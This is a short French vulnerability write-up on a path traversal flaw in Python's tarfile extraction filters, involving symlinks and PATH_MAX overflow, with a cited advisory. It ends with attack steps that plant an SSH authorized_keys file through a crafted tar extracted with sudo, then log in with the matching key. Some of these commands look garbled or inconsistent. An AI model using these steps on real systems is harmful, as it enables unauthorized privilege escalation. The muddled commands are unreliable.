
Vulnérabilité de traversée de répertoire dans le module Tarfile (avec débordement croisé de répertoire) --> Conduit à une escalade de privilèges
Impact : Élévation de privilèges
Les méthodes TarFile.extractall() et TarFile.extract() de Python prennent en charge une fonctionnalité qui permet de définir un filtre pour améliorer la sécurité de leur utilisation. La bibliothèque standard de Python fournit deux implémentations : tar_filter ("tar") et data_filter ("data"), chacune avec des vérifications différentes pour améliorer la sécurité de l'extraction des fichiers tar.
Un bogue existe lors du traitement d'un chemin contenant des liens symboliques dont la longueur est inférieure à PATH_MAX, mais supérieure à PATH_MAX lorsque les liens symboliques sont résolus par os.path.realpath(). Les liens symboliques qui dépassent PATH_MAX ne sont pas développés.
os.path.realpath() est utilisé par les filtres "tar" et "data" pour valider le chemin, mais aucune erreur n'est levée si PATH_MAX est dépassé. Plus tard, lors de l'appel à extractall() ou extract(), les chemins sont utilisés sans passer par os.path.realpath().
Référence : https://github.com/google/security-research/security/advisories/GHSA-hgqp-3mmf-7h8f
ssh-keygen -t ed25519 -f any
mkdir test
mv any.pub authorized_keys
cp authorized_keys /test
cd test
#Put your public key file name (authorized_keys)
python3 exploit.py
(file.tar) ~ generated
# Now using Python3
sudo python3 tar -xvf file.tar
#login
chmod 600 any
ssh -i any user@ip